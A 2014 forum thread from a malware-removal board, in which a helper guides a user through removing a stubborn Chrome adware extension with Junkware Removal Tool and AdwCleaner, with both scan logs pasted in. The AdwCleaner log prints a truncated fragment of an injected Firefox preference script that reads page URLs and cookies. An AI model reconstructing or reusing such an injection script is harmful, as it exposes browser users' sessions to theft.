+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Malware, Rat, and Virus Removal (https://hackforums.net/forumdisplay.php?fid=110)
+---- Thread: Can't remove extension "parieCecchoP" [SOLVED] (/showthread.php?tid=4410463)
Can't remove extension "parieCecchoP" [SOLVED] - theAbsolute - Aug 23, 2014
On Chrome browser I have this wierd extension somehow installed, but I am unable to remove it.
Does someone knows what is it at all and how do I get rid of it?
I've removed it from programs and ofcorse tried deleting from extenstion list, but it's still there.
* - Aura - Aug 23, 2014
Download and run Junkware Removal Tool. Once done, copy/paste the content of the output log here.
* - theAbsolute - Aug 23, 2014
Here it is:
Code
~~~~~~
Junkware Removal Tool (JRT) by Thisisu
Version: 6.1.4 (04.06.2014:1)
OS: Windows 8.1 Pro x64
Ran by theAbsolute on Sat 08/23/2014 at 17:26:53.00
~~~~~~
~~~ Services
~~~ Registry Values
~~~ Registry Keys
Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\anchorfree
Successfully deleted: [Registry Key] HKEY_CURRENT_USER\Software\conduit
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\conduit
~~~ Files
~~~ Folders
~~~ FireFox
Successfully deleted: [File] C:\user.js
Successfully deleted: [File] C:\Users\theAbsolute\AppData\Roaming\mozilla\firefox\profiles\1oir5bwf.default\invalidprefs.js
Successfully deleted the following from C:\Users\theAbsolute\AppData\Roaming\mozilla\firefox\profiles\1oir5bwf.default\prefs.js
~~~ Event Viewer Logs were cleared
~~~~~~
Scan was completed on Sat 08/23/2014 at 17:29:45.54
End of JRT log
~~~~~~* - Aura - Aug 23, 2014
Now download and execute AdwCleaner. Press on Scan, then press on Clean. Once done, restart when asked. Copy/paste the content of the log that will open here.
* - theAbsolute - Aug 23, 2014
Done:
Code
# AdwCleaner v3.308 - Report created 23/08/2014 at 17:40:34
# Updated 20/08/2014 by Xplode
# Operating System : Windows 8.1 Pro (64 bits)
# Username : theAbsolute
# Running from : C:\Users\theAbsolute\Downloads\AdwCleaner.exe
# Option : Clean
***** [ Services ] *****
***** [ Files / Folders ] *****
Folder Deleted : C:\ProgramData\PlutoApp
Folder Deleted : C:\ProgramData\pricceichop
Folder Deleted : C:\Program Files (x86)\pricceichop
Folder Deleted : C:\Windows\SysWOW64\hotspot shield
Folder Deleted : C:\Users\Administrator\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\Administrator\AppData\Local\torch
Folder Deleted : C:\Users\THEABS~1\AppData\Local\Temp\hotspot shield
Folder Deleted : C:\Users\THEABS~1\AppData\Local\Temp\OCS
Folder Deleted : C:\Users\Guest\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\Guest\AppData\Local\torch
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\torch
Folder Deleted : C:\Users\theAbsolute\AppData\Local\Chromatic Browser
Folder Deleted : C:\Users\theAbsolute\AppData\Local\torch
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
[!] Folder Deleted : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\Extensions\gbnchofeojceihlbjdijfajfnlnggcmn
***** [ Scheduled Tasks ] *****
***** [ Shortcuts ] *****
***** [ Registry ] *****
Key Deleted : HKCU\Software\Classes\pokki
Key Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Extension Compatibility\{74F475FA-6C75-43BD-AAB9-ECDA6184F600}
Key Deleted : HKCU\Software\AppDataLow\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{A75BE48D-BF58-4A8B-B96C-F9A09DFB9844}
Key Deleted : HKCU\Software\OCS
Key Deleted : HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Deleted : HKLM\SOFTWARE\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : HKLM\SOFTWARE\{77D46E27-0E41-4478-87A6-AABE6FBCF252}
***** [ Browsers ] *****
-\\ Internet Explorer v11.0.9600.17239
-\\ Mozilla Firefox v31.0 (x86 sr)
[ File : C:\Users\theAbsolute\AppData\Roaming\Mozilla\Firefox\Profiles\1oir5bwf.default\prefs.js ]
Line Deleted : user_pref("extensions.ujRhjkU.scode", "(function(){try{var url=(window.self.location.href + document.cookie);if(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com\")>-1||url.indexOf(\"sumorobo[...]
-\\ Google Chrome v36.0.1985.143
[ File : C:\Users\theAbsolute\AppData\Local\Google\Chrome\User Data\Default\preferences ]
Deleted [Extension] : gbnchofeojceihlbjdijfajfnlnggcmn
******
AdwCleaner[R0].txt - [4719 octets] - [23/08/2014 17:36:35]
AdwCleaner[S0].txt - [4650 octets] - [23/08/2014 17:40:34]
###### EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [4710 octets] ######* - Aura - Aug 23, 2014
Good good.
Is that extension still there or not ?
* - theAbsolute - Aug 23, 2014
Confirming that it has been deleted.
May I keep these two cleaners, I like them :)
* - Aura - Aug 23, 2014
(Aug 23, 2014 08:56 AM)theAbsolute Wrote: Confirming that it has been deleted.
May I keep these two cleaners, I like them :)
You can keep them, but I would suggest you to only download them when you need them. These tools are getting updated weekly, if not daily, so if you use them in two weeks, you might already be a few versions behind.
* - theAbsolute - Aug 23, 2014
Thanks for the tip!
I will do that then.
* - Aura - Aug 23, 2014
(Aug 23, 2014 08:57 AM)theAbsolute Wrote: Thanks for the tip!
I will do that then.
No problem 🙂
Feel free to close this thread now that this issue is solved to prevent spam !